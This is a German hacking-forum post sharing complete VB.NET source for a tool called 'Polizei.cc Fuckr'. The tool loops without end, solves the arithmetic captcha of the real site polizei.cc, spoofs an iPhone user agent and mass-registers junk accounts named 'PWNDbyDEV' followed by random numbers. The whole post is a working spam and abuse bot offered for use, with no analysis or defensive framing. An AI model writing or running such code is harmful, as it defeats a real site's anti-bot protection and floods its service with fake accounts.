Keine Antworten in diesem Thema

[Slixer]

Die module class:

Please Login HERE or Register HERE to see this link!

Imports System.IO
Imports System.Text.RegularExp<b></b>ressions

Module Module1

Sub Main()
Console.Title = "Polizei.cc Fuckr"
Dim i As Integer = 1
Do
With New Http
Dim http As String = .GetResponse("http://www.polizei.cc/")
Dim captcha As String = match(http, "(.+?) = ")
If captcha.Contains("-") Then
Dim temp As String = captcha.Split("-")(0)
Dim temp2 As String = captcha.Split("-")(1)
captcha = temp - temp2
ElseIf captcha.Contains("+") Then
Dim temp As String = captcha.Split("+")(0)
Dim temp2 As String = captcha.Split("+")(1)
captcha = temp + temp2
End If
Dim token As String = match(http, "")
Dim rnd As New Random
Dim user As String = "PWNDbyDEV" & rnd.Next(0, 99999999)
Dim pass As String = "PWNDbyDEV" & rnd.Next(0, 99999999)
http = .GetResponse("http://www.polizei.cc/index.php?do=register", "username=" & user & "&pass=" & pass & "&pass2=" & pass & "&icq=&capcha=" & captcha & "&token=" & token)
If http.Contains("Registrierung erfolgreich") Then
Console.ForegroundColor = ConsoleColor.Green
Console.WriteLine("[" & zeit() & "] Account Registriert " & i)
Console.Title = "Polizei.cc Fuckr [Regged Acc's: " & i & "]"
i += 1
End If
End With
Loop
End Sub
Function match(ByVal str_input$, ByVal str_pattern$)
Dim m As Match = Regex.Match(str_input, str_pattern, RegexOptions.IgnoreCase)
Return m.Groups(1).Value
End Function
Public Function zeit()
Dim Time As String = DateTime.Now.ToString("HH:mm:ss")
Return Time
End Function
End Module

die http class:

Please Login HERE or Register HERE to see this link!

Option Strict On
Option Explicit On

Imports System.IO
Imports System.Net
Imports System.Text

Public Class Http
Dim cookieCon As New CookieContainer
Dim request As HttpWebRequest
Dim response As HttpWebResponse

Public Function GetResponse(ByVal url As String) As String
request = CType(HttpWebRequest.Create(url), HttpWebRequest)
request.UserAgent = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16"
request.CookieContainer = cookieCon
response = CType(request.GetResponse(), HttpWebResponse)
Return New StreamReader(response.GetResponseStream()).ReadToEnd()
End Function

Public Function GetResponse(ByVal url As String, ByVal post As String) As String
request = CType(HttpWebRequest.Create(url), HttpWebRequest)
request.Method = "POST"
request.CookieContainer = cookieCon
request.UserAgent = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16"
request.ContentType = "application/x-www-form-urlencoded"

Dim byteArr() As Byte = Encoding.Default.GetBytes(post)
request.ContentLength = byteArr.Length

Dim dataStream As Stream = request.GetRequestStream()
dataStream.Write(byteArr, 0, byteArr.Length)

response = CType(request.GetResponse(), HttpWebResponse)

Return New StreamReader(response.GetResponseStream()).ReadToEnd()
End Function
End Class

Bearbeitet von Slixer, 14 December 2014 - 00:30 Uhr.